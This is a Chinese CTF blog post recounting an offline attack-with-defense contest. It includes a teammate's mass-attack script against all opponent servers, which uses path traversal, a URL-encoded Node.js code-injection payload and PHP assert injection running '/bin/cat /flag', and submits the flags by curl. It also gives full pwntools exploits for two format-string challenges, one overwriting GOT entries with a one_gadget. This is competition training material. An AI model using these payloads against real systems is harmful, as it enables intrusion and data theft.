记录一下被虐的经历。
全队就我一个菜鸡维护二进制,全场被痛打,很难受。记录一下线下 AWD 所需要做的准备,以及两道 pwn 的复现。
准备
第一次打 AWD,什么也不懂。
- 比赛前了解比赛赛制、环境。
- 服务器上线之后,第一时间改密码。
- 下载好
FileZilla
、Xshell
等连接服务器的工具,把服务器上给的文件备份。 - 提前准备好自动化的脚本。
这里放一下队友 web 大佬的打全场脚本:
from requests import get
from os import system
for i in range(24):
if i == 12:
continue
print(f"======{i+1} starts=======")
url = f"http://172.16.{i+1}.101:20001/uploads/images/../../../../../../../flag"
try:
flag = get(url).text[:-1]
system(f'curl http://172.16.200.20:9000/submit_flag/ -d "flag={flag}&token=Hn4JuwQQ7Mfaek2HAuTkB3S6k4e38EKXQJEdtDDWDfsda2tqQUgUHRCtrtxbS9hMkQndVbVfHsD"')
print(f"\n{flag}")
except:
print(f"{i+1} : no")
pass
url = f"http://172.16.{i+1}.101:20001/category/test?0=%28function%28%29%7b%0a%20%20%20%20var%20fs%20%3d%20require%28%27fs%27%29%3b%0a%09var%20flag%20%3d%20fs.readFileSync%28%27%2fflag%27%2c%20%27utf-8%27%29%3b%0a%09fs.writeFileSync%28%27%2fhome%2fxctf%2fweb%2fstatic%2fjs%2ftest.js%27%2c%20flag%29%3b%0a%09return%201%3b%0a%7d%29%28%29%3b"
try:
get(url)
url = f"http://172.16.{i+1}.101:20001/static/js/test.js"
flag = get(url).text
flag = get(url).text[:-1]
system(f'curl http://172.16.200.20:9000/submit_flag/ -d "flag={flag}&token=Hn4JuwQQ7Mfaek2HAuTkB3S6k4e38EKXQJEdtDDWDfsda2tqQUgUHRCtrtxbS9hMkQndVbVfHsD"')
print(f"\n{flag}")
except:
pass
from requests import post
from pyquery import PyQuery as pq
from os import system
for i in range(24):
if i == 8:
continue
print(f"======{i+1} starts=======")
if i == 12 or i == 2:
continue
payloads = [
"@assert($_POST[cmd])",
"@assert($_POST[cmd])",
"@call_user_func(assert, $_POST[cmd])",
"print(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))"
]
for p in payloads:
url = "http://172.16." + str(i+1) + ".102:20002/?r=list&pages=123{${" + p + "}}123"
t = post(url, data={'cmd' : 'system("/bin/cat /flag");'}).text
try:
d = pq(t)
out = d('.pagecode').html()
print(out)
flag = out.split(';')[-2].split('\n')[1]
if i==16:
flag = flag[2:]
print(f"{i+1} : {flag}")
system(f'curl http://172.16.200.20:9000/submit_flag/ -d "flag={flag}&token=Hn4JuwQQ7Mfaek2HAuTkB3S6k4e38EKXQJEdtDDWDfsda2tqQUgUHRCtrtxbS9hMkQndVbVfHsD"')
print('\n')
except:
print(f"{i+1} not avai")
pass
复现
全场贡献只有成功 patch 了最容易的第二题。
once_time
checksec:
[*] '/home/assassinq/Desktop/once_time'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖进 ida,main 函数:
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-20h]
char v5; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf();
printf("input your name: ", a2);
memset(&s, 0, 9uLL);
read(0, &s, 9uLL);
v5 = 0;
printf("wellcome :%s\n", &s);
return vul();
}
另一个关键函数:
unsigned __int64 vul()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("leave a msg: ");
memset(&s, 0, 0x10uLL);
read(0, &s, 0x20uLL);
if ( strstr(&s, "%p") || strstr(&s, "$p") )
{
puts("do you want to leak info?");
exit(0);
}
printf(&s, "$p");
return __readfsqword(0x28u) ^ v2;
}
vul()
中 read(0, &s, 0x20uLL);
处存在 buffer overflow
,又因为开了 Canary,需要想办法绕过;printf(&s, "$p");
处存在 format string
,可以实现任意地址的读和写。
- 首先将
__stack_chk_fail
的 got 表改成 main 函数的地址,那么这样每次栈溢出报错的时候就会再一次执行 main 函数,从而实现多次输入,可以多次利用printf(&s,"$p");
进行格式化字符串攻击; - 泄漏 libc 的基址,这里用泄漏 read 函数的真实地址来实现;
- 将 one_gadget 写入
exit()
函数的 got 表中。
0008| 0x7fffffffdc10 ("BBBBBBBB\n") ; 第二次输入
0016| 0x7fffffffdc18 --> 0xa ('\n')
0024| 0x7fffffffdc20 --> 0x0
0032| 0x7fffffffdc28 --> 0x8e2d258951a85400
0040| 0x7fffffffdc30 --> 0x7fffffffdc60 --> 0x400a20 (push r15)
0048| 0x7fffffffdc38 --> 0x400a08 (mov rcx,QWORD PTR [rbp-0x8])
0056| 0x7fffffffdc40 ("AAAAAAAA") ; 第一次输入
调试出来可以看到第一次输入位于第二次输入后的第六个参数,64 位下偏移就是 12。为了达到触发 __stack_chk_fail
的目的,我们还需要覆盖掉 Canary,位于第二次输入后的第三个参数处,故至少需要输入大于 24 个字符。read 总共读 0x20 个字符,我们这里也就读 0x20 个,以触发 __stack_chk_fail
。
第二步利用 read
的 got 表将 libc 基址泄漏出来。然后在已知 libc 版本的情况下,第三步将 exit
的 got 表覆盖成 one_gadget。最后送个 %p
或者 $p
上去 getshell。exp 如下:
#!/usr/bin/env python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
p = process('./once_time')
elf = ELF('./once_time')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget_offset = 0xf1147
info('>>> REPLACE __stack_chk_fail WITH main <<<')
main = 0x400983
stack_chk_fail_got = elf.got['__stack_chk_fail']
p.recvuntil('input your name: ')
p.sendline(p64(stack_chk_fail_got))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$n'.format(str(main))
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
info('>>> LEAK libc <<<')
read_got = elf.got['read']
p.recvuntil('input your name: ')
p.sendline(p64(read_got))
p.recvuntil('leave a msg: ')
payload = '%12$s'
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
data = p.recvuntil('\x7f')
print u64(data[-6:].ljust(8, '\x00'))
read_offset = libc.symbols['read']
libc_base = u64(data[:6].ljust(8, '\x00')) - read_offset
# libc.address = read - read_offset
success('libc_base = ' + hex(libc_base))
one_gadget = libc_base + one_gadget_offset
success('one_gadget = ' + hex(one_gadget))
info('>>> FMTSTR ATTACK <<<')
info('FIRST WORD')
info(hex(one_gadget & 0xFFFF))
exit_got = elf.got['exit']
p.recvuntil('input your name: ')
p.sendline(p64(exit_got))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$hn'.format(str(one_gadget & 0xFFFF))#取最低的双字节并对齐
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
info('SECOND WORD')
info(hex((one_gadget >> 16) & 0xFFFF))
p.recvuntil('input your name: ')
p.sendline(p64(exit_got + 2))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$hn'.format(str((one_gadget >> 16) & 0xFFFF))
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
info('THIRD WORD')
info(hex((one_gadget >> 32) & 0xFFFF))
p.recvuntil('input your name: ')
p.sendline(p64(exit_got + 4))
p.recvuntil('leave a msg: ')
payload = '%{}c%12$hn'.format(str((one_gadget >> 32) & 0xFFFF))
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
info('FOURTH WORD')
info(hex((one_gadget >> 48) & 0xFFFF))
p.recvuntil('input your name: ')
p.sendline(p64(exit_got + 6))
p.recvuntil('leave a msg: ')
if (one_gadget >> 48) & 0xFFFF != 0:
payload = '%{}c%12$hn'.format(str((one_gadget >> 48) & 0xFFFF))
else:
payload = '%12$hn'
payload = payload.ljust(0x20, '\x00')
print repr(payload)
p.send(payload)
p.recvuntil('input your name: ')
p.sendline('root')
p.recvuntil('leave a msg: ')
p.sendline('%p')
p.recvuntil('\n')
success('>>> PWNED BY ASSASSINQ <<<')
p.interactive()
messageboard
这题大佬们都用堆做,然而我一点都不会。后来神仙 pizza 给了一种 format string
的超简单做法。
[*] '/home/assassinq/Desktop/messageboard'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
拖进 ida 里,典型的堆题的形式,这里只看第四个选项:
unsigned __int64 getshell()
{
int fd; // ST04_4
__int64 v2; // [rsp+8h] [rbp-58h]
__int128 v3; // [rsp+28h] [rbp-38h]
__int64 *v4; // [rsp+38h] [rbp-28h]
char *v5; // [rsp+40h] [rbp-20h]
__int64 (__fastcall *v6)(_QWORD, _QWORD); // [rsp+48h] [rbp-18h]
unsigned __int64 v7; // [rsp+58h] [rbp-8h]
v7 = __readfsqword(0x28u);
printf("guess a number:");
v3 = 0uLL;
v5 = command;
v6 = (__int64 (__fastcall *)(_QWORD, _QWORD))((char *)getshell + 317);
readline((__int64)nptr, 0x18u);
fd = open("/dev/random", 0);
read(fd, &v3, 2uLL);
read(fd, (char *)&v3 + 8, 2uLL);
v2 = atoi(nptr);
v4 = &v2;
sleep(1u);
printf("you guess ", (char *)&v3 + 8);
printf(nptr);
printf(" the answer is %lld \n", (_QWORD)v3 + *((_QWORD *)&v3 + 1));
if ( *v4 != (_QWORD)v3 + *((_QWORD *)&v3 + 1) )
{
puts("GG!");
exit(0);
}
system(command);
return __readfsqword(0x28u) ^ v7;
}
可以看到这里让我们猜测一个系统产生的随机数,猜对了就能 getshell。再来看看 pizza 的 exp:
from pwn import *
p = process('./messageboard')
p.recvuntil('choice >>')
p.sendline('4')
p.recvuntil('guess a number:')
payload = '%2$*11$s%2$*12$s%13$n'
p.sendline(payload)
p.interactive()
关于 *
:宽度与精度格式化参数可以忽略,或者直接指定,或者用星号 *
表示取对应函数参数的值。例如 printf("%*d", 5, 10)
输出 10
;printf("%.*s", 3, "abcdef")
输出 abc
。
由此可知,第十一位和第十二位参数上存放的是随机数,第十三位则是我们的输入,这里将随机数的值写入我们的输入,达到 getshell 的目的。
堆的做法以后再来复现。
总结
比赛打下来,发现实力是重要的一部分,同时经验、技巧(猥琐发育)以及运气都是重要的因素。希望下次有更多的机会参与线下 AWD 比赛。
参考网站
https://www.jianshu.com/p/b8e448951125
https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2